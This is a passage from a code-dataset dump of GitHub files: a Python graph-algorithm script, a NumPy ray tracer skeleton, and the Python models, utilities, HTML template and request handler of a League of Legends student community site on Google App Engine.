"lishouqi/Speech-Recognition", "src_encoding": "UTF-8", "text": "# Speech-Recognition\nHidden Markov Model Implementation of Speech Recognition\n" }, { "alpha_fraction": 0.5734276175498962, "alphanum_fraction": 0.5788775682449341, "avg_line_length": 30.758453369140625, "blob_id": "92dd83e446194cb987eb2d0ea1cc0b87c5b31746", "content_id": "21819b1e1b1c8740244a7d917c70f4a4fc013349", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6789, "license_type": "no_license", "max_line_length": 92, "num_lines": 207, "path": "/cnlab.py", "repo_name": "lishouqi/Speech-Recognition", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Nov 2 11:37:53 2018\r\n\r\n@author: Arghya\r\n\"\"\"\r\n\r\nimport networkx as nx\r\nfrom random import randint\r\nimport matplotlib.pyplot as plt \r\n\r\nclass Graph:\r\n def __init__(self):\r\n # dictionary containing keys that map to the corresponding vertex object\r\n self.vertices = {}\r\n \r\n def add_vertex(self, key):\r\n \"\"\"Add a vertex with the given key to the graph.\"\"\"\r\n vertex = Vertex(key)\r\n self.vertices[key] = vertex\r\n \r\n def get_vertex(self, key):\r\n \"\"\"Return vertex object with the corresponding key.\"\"\"\r\n return self.vertices[key]\r\n \r\n def __contains__(self, key):\r\n return key in self.vertices\r\n \r\n def add_edge(self, src_key, dest_key, weight=1):\r\n \"\"\"Add edge from src_key to dest_key with given weight.\"\"\"\r\n self.vertices[src_key].add_neighbour(self.vertices[dest_key], weight)\r\n \r\n def does_edge_exist(self, src_key, dest_key):\r\n \"\"\"Return True if there is an edge from src_key to dest_key.\"\"\"\r\n return self.vertices[src_key].does_it_point_to(self.vertices[dest_key])\r\n \r\n def display(self):\r\n print('Vertices: ', end='')\r\n for v in self:\r\n print(v.get_key(), end=' ')\r\n print()\r\n \r\n print('Edges: ')\r\n for v in self:\r\n for dest in v.get_neighbours():\r\n w = v.get_weight(dest)\r\n print('(src={}, dest={}, weight={}) '.format(v.get_key(),\r\n dest.get_key(), w))\r\n \r\n def __len__(self):\r\n return len(self.vertices)\r\n \r\n def __iter__(self):\r\n return iter(self.vertices.values())\r\n \r\n \r\nclass Vertex:\r\n def __init__(self, key):\r\n self.key = key\r\n self.points_to = {}\r\n \r\n def get_key(self):\r\n \"\"\"Return key corresponding to this vertex object.\"\"\"\r\n return self.key\r\n \r\n def add_neighbour(self, dest, weight):\r\n \"\"\"Make this vertex point to dest with given edge weight.\"\"\"\r\n self.points_to[dest] = weight\r\n \r\n def get_neighbours(self):\r\n \"\"\"Return all vertices pointed to by this vertex.\"\"\"\r\n return self.points_to.keys()\r\n \r\n def get_weight(self, dest):\r\n \"\"\"Get weight of edge from this vertex to dest.\"\"\"\r\n return self.points_to[dest]\r\n \r\n def does_it_point_to(self, dest):\r\n \"\"\"Return True if this vertex points to dest.\"\"\"\r\n return dest in self.points_to\r\n \r\n \r\ndef mst_prim(g):\r\n \"\"\"Return a minimum cost spanning tree of the connected graph g.\"\"\"\r\n mst = Graph() # create new Graph object to hold the MST\r\n \r\n # if graph is empty\r\n if not g:\r\n return mst\r\n \r\n # nearest_neighbour[v] is the nearest neighbour of v that is in the MST\r\n # (v is a vertex outside the MST and has at least one neighbour in the MST)\r\n nearest_neighbour = {}\r\n # smallest_distance[v] is the distance of v to its nearest neighbour in the MST\r\n # (v is a vertex outside the MST and has at least one neighbour in the MST)\r\n smallest_distance = {}\r\n # v is in unvisited iff v has not been added to the MST\r\n unvisited = set(g)\r\n \r\n u = next(iter(g)) # select any one vertex from g\r\n mst.add_vertex(u.get_key()) # add a copy of it to the MST\r\n unvisited.remove(u)\r\n \r\n # for each neighbour of vertex u\r\n for n in u.get_neighbours():\r\n if n is u:\r\n # avoid self-loops\r\n continue\r\n # update dictionaries\r\n nearest_neighbour[n] = mst.get_vertex(u.get_key())\r\n smallest_distance[n] = u.get_weight(n)\r\n \r\n # loop until smallest_distance becomes empty\r\n while (smallest_distance):\r\n # get nearest vertex outside the MST\r\n outside_mst = min(smallest_distance, key=smallest_distance.get)\r\n # get the nearest neighbour inside the MST\r\n inside_mst = nearest_neighbour[outside_mst]\r\n \r\n # add a copy of the outside vertex to the MST\r\n mst.add_vertex(outside_mst.get_key())\r\n # add the edge to the MST\r\n mst.add_edge(outside_mst.get_key(), inside_mst.get_key(),\r\n smallest_distance[outside_mst])\r\n mst.add_edge(inside_mst.get_key(), outside_mst.get_key(),\r\n smallest_distance[outside_mst])\r\n \r\n # now that outside_mst has been added to the MST, remove it from our\r\n # dictionaries and the set unvisited\r\n unvisited.remove(outside_mst)\r\n del smallest_distance[outside_mst]\r\n del nearest_neighbour[outside_mst]\r\n \r\n # update dictionaries\r\n for n in outside_mst.get_neighbours():\r\n if n in unvisited:\r\n if n not in smallest_distance:\r\n smallest_distance[n] = outside_mst.get_weight(n)\r\n nearest_neighbour[n] = mst.get_vertex(outside_mst.get_key())\r\n else:\r\n if smallest_distance[n] > outside_mst.get_weight(n):\r\n smallest_distance[n] = outside_mst.get_weight(n)\r\n nearest_neighbour[n] = mst.get_vertex(outside_mst.get_key())\r\n \r\n return mst\r\n\r\ndef dijsktra(graph, initial):\r\n visited = {initial: 0}\r\n path = {}\r\n\r\n nodes = set(graph.nodes)\r\n\r\n while nodes: \r\n min_node = None\r\n for node in nodes:\r\n if node in visited:\r\n if min_node is None:\r\n min_node = node\r\n elif visited[node] < visited[min_node]:\r\n min_node = node\r\n\r\n if min_node is None:\r\n break\r\n\r\n nodes.remove(min_node)\r\n current_weight = visited[min_node]\r\n\r\n for edge in graph.edges[min_node]:\r\n weight = current_weight + graph.distance[(min_node, edge)]\r\n if edge not in visited or weight < visited[edge]:\r\n visited[edge] = weight\r\n path[edge] = min_node\r\n\r\n return visited, path\r\n\r\nG=nx.Graph()\r\nx=10\r\nfor i in range(x):\r\n G.add_node(i)\r\nfor i in range(x):\r\n for j in range (x):\r\n if i!=j:\r\n G.add_edge(i,j,weight=randint(1,5))\r\ne=[(u,v) for (u,v,d) in G.edges(data=True)]\r\npos=nx.spring_layout(G)\r\nnx.draw_networkx_nodes(G,pos,node_size=200)\r\n\r\nnx.draw_networkx_edges(G,pos,edge_list=e,width=2)\r\nnx.draw_networkx_edge_labels(G,pos,edge_labels=nx.get_edge_attributes(G,'pos'),font_size=12)\r\nnx.draw_networkx_labels(G,pos,font_size=12)\r\nplt.axis('off')\r\nplt.show() \r\n\r\n#library methods\r\n# 5 random points\r\np=[(0,4),(2,5),(3,9),(4,9),(0,9)]\r\nfor i in p:\r\n x,y=i\r\n print('Points Taken (%d,%d)'%(x,y))\r\n print(nx.dijkstra_path(G,x,y))\r\n print (nx.dijkstra_path_length(G,x,y))\r\n\r\n# minimum distance by taking each vertex atleast once\r\nT=nx.minimum_spanning_tree(G,weight='weight')\r\nprint(sorted(T.edges(data=True)))\r\nw=sum([ z['weight']for x,y,z in T.edges(data=True)])\r\nprint('Minimum weight = %d'%w)\r\n\r\n \r\n" } ]
3
glancefox/RayTracing-2
https://github.com/glancefox/RayTracing-2
d64a90c00b2f9742ab6e27cd9052149e07a2dd8e
93502a87534f3da6c183ce650bd34e61c98a4cce
45a06001d3bf51f8593928c0cece6458f5a0a1ce
refs/heads/master
2020-06-07T00:27:41.401817
2017-01-05T10:27:48
2017-01-05T10:27:48
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4931590259075165, "alphanum_fraction": 0.560656726360321, "avg_line_length": 32.22222137451172, "blob_id": "003fa6a84ddd021da1e5a4e1fe39d4690b1ad0bb", "content_id": "ceaed80be086549c337b8165333e3dd4613793e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3289, "license_type": "no_license", "max_line_length": 136, "num_lines": 99, "path": "/raytracer_python/raytracer.py", "repo_name": "glancefox/RayTracing-2", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nfrom raymath import *\nimport camera\n\n# Make smaller for faster tracing\nw = 128\nh = 128\n\ndef intersect(O, D, obj):\n if obj['type'] == 'plane':\n return intersect_plane(O, D, obj['position'], obj['normal'])\n elif obj['type'] == 'sphere':\n return intersect_sphere(O, D, obj['position'], obj['radius'])\n\ndef get_normal(obj, M):\n # Find normal.\n if obj['type'] == 'sphere':\n N = normalize(M - obj['position'])\n elif obj['type'] == 'plane':\n N = obj['normal']\n return N\n\ndef get_color(obj, M):\n color = obj['color']\n if not hasattr(color, '__len__'):\n color = color(M)\n return color\n\ndef get_specular(obj, M):\n color = obj['specular']\n if not hasattr(specular, '__len__'):\n specular = specular(M)\n return specular\n\ndef add_sphere(position, radius, color, specular, emissive, reflection):\n return dict(type='sphere', position=np.array(position), \n radius=np.array(radius), color=np.array(color), specular=np.array(specular), emissive=np.array(emissive), reflection=reflection)\n\ndef add_plane(position, normal):\n return dict(type='plane', position=np.array(position), \n normal=np.array(normal),\n color=lambda M: (color_plane0 \n if (int(M[0] * 2) % 2) == (int(M[2] * 2) % 2) else color_plane1),\n diffuse_c=.75, specular_c=.5, reflection=.25)\n\n\n# List of scene objects.\ncolor_plane0 = 1. * np.ones(3)\ncolor_plane1 = 0. * np.ones(3)\nscene = [add_sphere([0.0, 2.0, 0.0], 2.0, [0.7, 0.1, .1], [0.9, 0.1, 0.1], [0.0, 0.0, 0.0], .5), # Red\n add_sphere([-2.5, 1.0, 2.0], 1.0, [0.7, 0.0, 0.7], [0.9, 0.9, 0.8], [0.0, 0.0, 0.0], .5), # Purple\n add_sphere([-0.0, 0.5, 3.0], .5, [0.0, 0.3, 1.0], [0.0, 0.0, 1.0], [0.0, 0.0, 0.0], 0.0), # Blue\n #add_sphere([2.8, 0.8, 2.0], .8, [1.0, 1.0, 1.0], [0.0, 0.0, 0.0], [1.0, 1.0, 0.2], 0.0), # Light ball\n #add_sphere([-10.8, 6.4, 10.0], .4, [0.0, 0.8, 0.0], [0.0, 0.0, 0.0], [1.0, 1.0, 1.0], 0.0), # Light ball\n add_plane([0., 0.0, 0.], [0., 1., 0.]),\n ]\n\n# Light position and color, if you just want the global light and not a sphere.\n# Note - you can use the 'emissive' property of the spheres to find the lights...\nL = np.array([-10.8, 6.4, 10.])\ncolor_light = np.ones(3)\n\ncol = np.zeros(3) # Current color.\nO = np.array([0., 6., 8.0]) # Camera.\nQ = np.array([0., -.8, -1.0]) # Camera pointing to.\nimg = np.zeros((h, w, 3))\n\n# Screen coordinates: x0, y0, x1, y1.\nS = (-8.0, -8.0, 8.0, 8.0)\n\ndepth_max = 3\n\ncam = camera.Camera(O, Q, 60, w, h)\n\n# For now, just return the ray through the pixel as a 'color'\ndef trace_ray(rayO, rayD, current_depth):\n return (rayD * .5) + np.array([.5, .5, .5])\n\n# Loop through all pixels.\nfor i, x in enumerate(np.linspace(S[0], S[2], w)):\n if i % 10 == 0:\n print(i / float(w) * 100, \"%\")\n\n for j, y in enumerate(np.linspace(S[1], S[3], h)):\n col[:] = 0\n rayO = O\n rayD = cam.GetWorldRay(i, h - j - 1)\n col = trace_ray(rayO, rayD, 0)\n\n img[h - j - 1, i, :] = np.clip(col, 0, 1)\n\nplt.imsave('out.png', img)\nplt.imshow(img)\nplt.show()\n\n# NOTE:\n# Here's how to make a reflection ray, given a Normal and a ray direction\n# normalize(rayD - 2 * np.dot(rayD, N) * N)\n" } ]
1
jakinov/uoflol
https://github.com/jakinov/uoflol
052bd53ea1a94ed9ebcd6ad7ec9e09c5e6e24381
55fce48dbcc9785d3386ae1fe7b07c90c06da810
e0a98feb9b498fb02de2bcf905b23d130dcd6373
refs/heads/master
2016-09-05T21:51:32.346576
2013-04-26T02:50:56
2013-04-26T02:50:56
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6178910136222839, "alphanum_fraction": 0.6202606558799744, "avg_line_length": 32.09803771972656, "blob_id": "7176cc7bd1437febaef988fe62b51a5c45e6b76c", "content_id": "f990bc8212bc68703b39ddf98e4fb407b45644eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1688, "license_type": "no_license", "max_line_length": 220, "num_lines": 51, "path": "/utils.py", "repo_name": "jakinov/uoflol", "src_encoding": "UTF-8", "text": "import urllib2\nimport json\nimport logging\nimport operator\n\nfrom mycls.ntcls import User\nfrom mycls import dbcls\n\nfrom google.appengine.api import memcache\n\n\ndef call_api(id, api, ext):\n api_dict = {'LOL': [\"http://api.captainteemo.com/\", {'USER': 'player/na/%s', 'LEAGUES': 'player/na/%s/leagues', 'STATUS': 'player/na/%s/ingame', 'HONOR': 'player/na/%s/honor', 'IP': 'player/na/%s/influence_points'}],\n 'TWITCH': [\"https://api.twitch.tv/kraken/\", {'ACTIVE': 'streams/%s', 'CHANNEL': 'channels/%s'}]}\n url = api_dict[api][0] + api_dict[api][1][ext] % id\n try:\n r = urllib2.urlopen(url)\n except:\n logging.error(('FAILED API CALL FOR ' + api + ' API - EXT. ' + ext + 'USER ' + id).upper())\n return None\n return json.loads(r.read())\n\n\ndef update_results(key, sort, func):\n userList, results = get_user_list(), []\n if func == 'HONOR':\n results = memcache.get('Honor')\n else:\n for user in userList:\n results.append(func(user))\n results = sorted(results, key=operator.attrgetter(sort), reverse=True)\n if results is not None:\n memcache.set(key, results)\n logging.info(key + ' Updated')\n\n\ndef get_user_list(update=False):\n userList = memcache.get(\"userList\")\n if userList is None or update:\n cachedUsers = []\n userList = dbcls.User.all()\n logging.info('USERS HAVE BEEN LOADED FROM DATABASE!')\n for user in userList:\n cachedUsers.append(User(user.internalName, user.displayName, user.iconID))\n memcache.set(\"userList\", cachedUsers)\n return cachedUsers\n return userList\n\n\ndef rawify(text):\n return text.replace(\" \", \"\").lower()\n" }, { "alpha_fraction": 0.7437106966972351, "alphanum_fraction": 0.7437106966972351, "avg_line_length": 29.285715103149414, "blob_id": "d550b3e50a118df29c3c83e3d0c0148368d5e79d", "content_id": "63924c67e65b335747c925a25a49beffc4908630", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 636, "license_type": "no_license", "max_line_length": 55, "num_lines": 21, "path": "/mycls/dbcls.py", "repo_name": "jakinov/uoflol", "src_encoding": "UTF-8", "text": "from google.appengine.ext import db\n\n\nclass User(db.Model):\n internalName = db.StringProperty(required=True)\n displayName = db.StringProperty(required=True)\n iconID = db.IntegerProperty(required=True)\n ip_address = db.StringProperty()\n marked = db.BooleanProperty()\n\n\nclass FAQ(db.Model):\n question = db.StringProperty(required=True)\n answer = db.StringProperty(required=True)\n\n\nclass Stream(db.Model):\n displayName = db.StringProperty(required=True)\n internalName = db.StringProperty(required=True)\n briefDescription = db.StringProperty(required=True)\n created = db.DateTimeProperty(auto_now_add=True)\n" }, { "alpha_fraction": 0.6722319722175598, "alphanum_fraction": 0.673989474773407, "avg_line_length": 46.41666793823242, "blob_id": "d8e1e4a25e1674cd8bb69062784925d8a35b8ec8", "content_id": "9a0847e461237dac73fa570ef1069820339bb0fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1138, "license_type": "no_license", "max_line_length": 147, "num_lines": 24, "path": "/mycls/ntcls.py", "repo_name": "jakinov/uoflol", "src_encoding": "UTF-8", "text": "from collections import namedtuple\n#FRONT PAGE ACTIVE STREAMS\nStream_Status = namedtuple('Stream_Status', ['internalName', 'displayName', 'imgURL', 'game', 'isOnline'])\n\n#LEAGUES\nLeague_Entry = namedtuple('League_Entry', ['userName', 'tier', 'division', 'name', 'lp', 'wins', 'losses', 'hot', 'score', 'miniSeries', 'iconID'])\nMini_Series = namedtuple('Mini_Series', ['wins', 'losses', 'target'])\n\n#HONOR\nHonor_Entry = namedtuple('Honor_Entry', ['userName', 'friendly', 'helpful', 'teamwork', 'honorable', 'total', 'iconID'])\n\n#IP\nIP_Entry = namedtuple('IP_Entry', ['userName', 'ip', 'iconID'])\n\n#STATUS\nStatus_Entry = namedtuple('Status_Entry', ['userName', 'inGame', 'champion', 'queue', 'iconID', 'order', 'activeGame', 'spectateLink'])\nActive_Game = namedtuple('Active_Game', ['id', 'teamOne', 'teamTwo'])\nActive_User = namedtuple('Active_User', ['userName', 'isOwner', 'isSolo', 'teamCount', 'champID', 'summoner1', 'summoner2', 'teamID'])\n\n#USER_CLASS\nUser = namedtuple('User', ['internalName', 'displayName', 'iconID'])\n\n#STREAM INFO\nStream_Info = namedtuple('Stream_Info', ['channelName', 'displayName', 'status', 'game', 'url'])\n" }, { "alpha_fraction": 0.549364447593689, "alphanum_fraction": 0.5685781836509705, "avg_line_length": 38.79999923706055, "blob_id": "f1d1aa7805c8bbf0d4dea9a1bf7e72f7da14509a", "content_id": "1ea54e900211126b97ae8c00e1c3ed4020ca96ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 6766, "license_type": "no_license", "max_line_length": 472, "num_lines": 170, "path": "/templates/status.html", "repo_name": "jakinov/uoflol", "src_encoding": "UTF-8", "text": "{% extends \"base.html\" %}\n\n{% block content %}\n<div class=\"row\">\n\t<div class=\"span3\"><h4><br>Navigation</h4></div>\n\t<div class=\"span9\"><h3>What's Happening</h3></div>\n</div>\n\n<div class=\"row\">\n\t<div class=\"span3\">\n\t\t<ul class=\"nav nav-pills nav-stacked\">\n\t\t\t<li><a href=\"/\"><i class=\"icon-home\"></i> Home</a> </li>\n\t\t\t<li class=\"active\"><a><i class=\"icon-user\"></i> What's Happening</a> </li>\n\t\t\t<li><a href=\"/streams\"><i class=\"icon-facetime-video\"></i> Streams</a> </li>\n\t\t\t<li><a href=\"/leagues\"><i class=\"icon-flag\"></i> Leagues</a> </li>\n\t\t\t<li><a href=\"/honor\"><i class=\"icon-bookmark\"></i> Honor</a> </li>\n\t\t\t<li><a href=\"/ip\"><i class=\"icon-shopping-cart\"></i> Lifetime IP</a></li>\n\t\t\t<li><a href=\"/faqs\"><i class=\"icon-question-sign\"></i> FAQS</a> </li>\n\t\t\t<li><a href=\"#join\" data-toggle=\"modal\"><i class=\"icon-plus-sign\"></i> Join</a></li>\n\t\t</ul>\n\t</div>\n\t<div class=\"span9\">\n\t\t<table class=\"table table-hover\">\n\t\t<tr width=\"100%\">\n\t\t\t<td width=\"50px\"><b></b></td>\n\t\t\t<td><b>USERNAME</b></td>\n\t\t\t<td><b>CHAMPION</b></td>\n\t\t\t<td><b>GAME TYPE</b></td>\n\t\t\t<td></td>\n\t\t</tr>\n\t\t\t{% for result in results %}\n\t\t\t\t{% if result.inGame %}\n\t\t\t\t{% if result.queue == 'Ranked' or result.queue == 'Team Ranked' %}\n\t\t\t \t<tr class=\"warning\">\n\t\t\t\t{% elif result.tier == 'Normal' %}\n\t\t\t\t<tr class=\"success\">\n\t\t\t\t{% else %}\n\t\t\t\t<tr class=\"info\">\n\t\t\t\t{% endif %}\n\t\t\t\t\t<td width=\"50px\" height=\"50px\"><img src=\"https://d2mb2l2ls1y7ht.cloudfront.net/cdn/0.303.4/img/profileicon/{{result.iconID | safe}}.png\" width=\"50px\" height =\"50px\" class=\"userIcon img-polaroid\"><br></td>\n\t\t\t\t\t<td><br><b>{{result.userName | safe}}</b><br></td>\n\t\t\t\t\t<td><br><b>{{result.champion | safe}}</b><br></td>\n\t\t\t\t\t<td><br><b>{{result.queue | safe}}</b><br></td>\n\t\t\t\t\t<td><br><a class=\"btn pull-right\" href=\"#game{{result.activeGame.id}}\" data-toggle=\"modal\"><i class=\"icon-info-sign\"></i> Game Info</a><a class=\"btn btn-info pull-right\" href=\"{{result.spectateLink}}\" id=\"spectate{{result.activeGame.id}}\" rel=\"popover\" data-content=\"In order for this feature to work, you must have LoL Replay installed!<br><br><b>Note:</b> Not a Reliable Feature\" data-original-title=\"Spectating Game\"><i class=\"icon-eye-open\"></i> Spectate Game</a>\n\t\t\t\t\t</td>\n\t\t\t\t<tr>\n\t\t\t\t{% endif %}\n\t\t\t{% endfor %}\n\t\t\t\n\t\t\t{% for result in results %}\n\t\t\t\t{% if not result.inGame %}\n\t\t\t\t<tr width=\"100%\" height=\"50px\" class=\"offline\">\n\t\t\t\t\t<td width=\"50px\" height=\"50px\"><img src=\"https://d2mb2l2ls1y7ht.cloudfront.net/cdn/0.303.4/img/profileicon/{{result.iconID | safe}}.png\" class=\"userIcon\" width=\"50px\" height =\"50px\"><br></td>\n\t\t\t\t\t<td><br>{{result.userName | safe}}<br></td>\n\t\t\t\t\t<td><br></td>\n\t\t\t\t\t<td><br></td>\n\t\t\t\t\t<td></td>\n\t\t\t\t<tr>\n\t\t\t\t{% endif %}\n\t\t\t{% endfor %}\n\t\t</table>\n\t</div>\n</div>\n\n{% for result in results %}\n{% if result.inGame %}\n<div id=\"game{{result.activeGame.id}}\" class=\"modal fade hide modallarge\" aria-labelledby=\"modalLabel\" aria-hidden=\"true\" >\n\t\t<div class=\"modal-header\">\n\t\t\t<button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-hidden=\"true\"><i class=\"icon-remove\"></i></button>\n\t\t\t<h3>Viewing Game</h3>\n\t\t</div>\n\t\t<div class=\"modal-body\">\n\t\t\t<div class=\"cotainer\">\n\t\t\t\t<div class=\"row\">\n\t\t\t\t\t<div class=\"span3\">\n\t\t\t\t\t\t<table class=\"table\">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\tBLUE TEAM\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t{% for player in result.activeGame.teamOne %}\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td><img src=\"http://quickfind.kassad.in/assets/legendary/img/hero/{{player.champID}}.png\" width=\"64px\" height=\"64px\"></td>\n\t\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t\t<b>{{player.userName}}</b><br>\n\t\t\t\t\t\t\t\t\t{% if player.isOwner %}\n\t\t\t\t\t\t\t\t\t<span class=\"label pull-left\">Creator</span>\n\t\t\t\t\t\t\t\t\t{% endif %}\n\t\t\t\t\t\t\t\t\t{% if player.isSolo %}\n\t\t\t\t\t\t\t\t\t<span class=\"label label-info pull-left\">Solo</span>\n\t\t\t\t\t\t\t\t\t{% elif player.teamCount == 2 %}\n\t\t\t\t\t\t\t\t\t<span class=\"label label-warning pull-left\">Duo</span>\n\t\t\t\t\t\t\t\t\t{% else %}\n\t\t\t\t\t\t\t\t\t<span class=\"label label-warning pull-left\">{{player.teamCount}}-man</span>\n\n\t\t\t\t\t\t\t\t\t{% endif %}\n\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t{% if not player.isSolo %}\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t{% if player.teamID == \"Team Alpha\"%}\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"label label-success pull-left\">{{player.teamID}}</span>\n\t\t\t\t\t\t\t\t\t\t{% elif player.teamID == \"Team Delta\" %}\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"label label-inverse2 pull-left\">{{player.teamID}}</span>\n\t\t\t\t\t\t\t\t\t\t{% endif %}\n\n\t\t\t\t\t\t\t\t\t{% else %}\n\t\t\t\t\t\t\t\t\t<span class=\"label label-important\">NO TEAM</span>\n\t\t\t\t\t\t\t\t\t{% endif %}\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t\t<img src=\"https://d2mb2l2ls1y7ht.cloudfront.net/cdn/0.301.3/img/spell/Summoner{{player.summoner1}}.png\" width=\"32px\" height=\"32px\" class=\"img-polaroid\"><br>\n\t\t\t\t\t\t\t\t\t<img src=\"https://d2mb2l2ls1y7ht.cloudfront.net/cdn/0.301.3/img/spell/Summoner{{player.summoner2}}.png\" width=\"32px\" height=\"32px\" class=\"img-polaroid\">\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\n\t\t\t\t\t\t\t{% endfor %}\n\t\t\t\t\t\t</table>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"span3 pull-right\">\n\t\t\t\t\t\t<table class=\"table\">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<span class=\"pull-right\"> PURPLE TEAM</span>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t{% for player in result.activeGame.teamTwo %}\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t\t<img src=\"https://d2mb2l2ls1y7ht.cloudfront.net/cdn/0.301.3/img/spell/Summoner{{player.summoner1}}.png\" width=\"32px\" height=\"32px\" class=\"img-polaroid\"><br>\n\t\t\t\t\t\t\t\t\t<img src=\"https://d2mb2l2ls1y7ht.cloudfront.net/cdn/0.301.3/img/spell/Summoner{{player.summoner2}}.png\" width=\"32px\" height=\"32px\" class=\"img-polaroid\">\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t<td>\n\n\t\t\t\t\t\t\t\t\t<b class=\"pull-right\">{{player.userName}}</b><br>\n\t\t\t\t\t\t\t\t\t{% if player.isOwner %}\n\t\t\t\t\t\t\t\t\t<span class=\"label pull-right\">Creator</span>\n\t\t\t\t\t\t\t\t\t{% endif %}\n\t\t\t\t\t\t\t\t\t{% if player.isSolo %}\n\t\t\t\t\t\t\t\t\t<span class=\"label label-info pull-right\">Solo</span>\n\t\t\t\t\t\t\t\t\t{% elif player.teamCount == 2 %}\n\t\t\t\t\t\t\t\t\t<span class=\"label label-warning pull-right\">Duo</span>\n\t\t\t\t\t\t\t\t\t{% else %}\n\t\t\t\t\t\t\t\t\t<span class=\"label label-warning pull-right\">{{player.teamCount}}-man</span>\n\t\t\t\t\t\t\t\t\t{% endif %}\n\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t{% if not player.isSolo %}\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t{% if player.teamID == \"Team Alpha\"%}\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"label label-success pull-right\">{{player.teamID}}</span>\n\t\t\t\t\t\t\t\t\t\t{% elif player.teamID == \"Team Delta\" %}\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"label label-inverse2 pull-right\">{{player.teamID}}</span>\n\t\t\t\t\t\t\t\t\t\t{% endif %}\n\n\t\t\t\t\t\t\t\t\t{% else %}\n\t\t\t\t\t\t\t\t\t<span class=\"label label-important pull-right\">NO TEAM</span>\n\t\t\t\t\t\t\t\t\t{% endif %}\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t<td><img src=\"http://quickfind.kassad.in/assets/legendary/img/hero/{{player.champID}}.png\" width=\"64px\" height=\"64px\"></td>\n\t\t\t\t\t\t\t</tr>\n\n\t\t\t\t\t\t\t{% endfor %}\n\t\t\t\t\t\t</table>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class=\"modal-footer\">\n\t\t\t<button class=\"btn btn-danger\" data-dismiss=\"modal\" aria-hidden=\"true\">Cancel</button>\n\t\t</div>\n</div>\n{% endif %}\n{% endfor %}\n{% endblock %}\n" }, { "alpha_fraction": 0.6013973951339722, "alphanum_fraction": 0.6047161817550659, "avg_line_length": 35.464969635009766, "blob_id": "b0bcc8591bc4f120187c7546539e7b8f3ca50c3e", "content_id": "d4b59487b1202c1eacc4e8bdcb5dcf281b4f563b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5725, "license_type": "no_license", "max_line_length": 285, "num_lines": 157, "path": "/main.py", "repo_name": "jakinov/uoflol", "src_encoding": "UTF-8", "text": "import urllib2\nimport os\n\nimport webapp2\nimport jinja2\nimport logging\n\nfrom utils import call_api, rawify\nfrom mycls import dbcls, ntcls\n\nfrom google.appengine.api import memcache, mail\n\ntemplate_dir = os.path.join(os.path.dirname(__file__), 'templates')\njinja_env = jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir),\n autoescape=True)\n\n\nclass BaseHandler(webapp2.RequestHandler):\n def join(self, userName, ip):\n d = call_api(id=userName, api=\"LOL\", ext=\"USER\")\n if d is None:\n return dict(error=\"Summoner Not Found!\", errorType=\"JOIN\")\n u = dbcls.User.all().filter('internalName =', userName).get()\n if u:\n return dict(error=\"Summoner is already in the system!\", errorType=\"JOIN\")\n return self.create_user(userName=userName, d=d, ip=ip)\n\n def create_user(self, userName, d, ip):\n newUser = dbcls.User(internalName=d[\"data\"][\"internalName\"], displayName=d[\"data\"][\"name\"], iconID=d[\"data\"][\"icon\"], ip=ip)\n newUser.put()\n try:\n urllib2.urlopen('http://www.uoitlol.com/users/update', timeout=30)\n except:\n self.error_redirect(page='USERS/UPDATE', errorType=\"FETCH\")\n logging.info(userName + \" has been added to DB!\")\n mail.send_mail(\"[email protected]\", \"[email protected]\", \"UOITLOL - NEWUSER - \" + userName.upper(), \"Username: \" + userName.upper() + \"\\nIP: \" + ip)\n return dict(success=\"You have been addded!\")\n\n def fetch_n_exec(self, key, template, fetchOnly=False, *vars, **messages):\n results = self.get_results(key=key)\n if results is not None:\n self.render(template, results=results, **messages)\n else:\n self.error_redirect(key.upper(), \"EMPTY CACHE\")\n\n def write(self, *a, **kw):\n self.response.out.write(*a, **kw)\n\n def render_str(self, template, **params):\n t = jinja_env.get_template(template)\n return t.render(params)\n\n def render(self, template, **kw):\n self.write(self.render_str(template, **kw))\n\n def get_results(self, key):\n results = memcache.get(key)\n if results is None:\n logging.critical(key.upper() + ' MEMCACHE IS NONE')\n try:\n urllib2.urlopen('http://www.uoitlol.com/' + key.lower() + '/update', timeout=180)\n results = memcache.get(key)\n except:\n return None\n return results\n\n def error_redirect(self, page=\"UNKNOWN\", errorType=\"GENERAL ERROR\"):\n logMSG = page.upper() 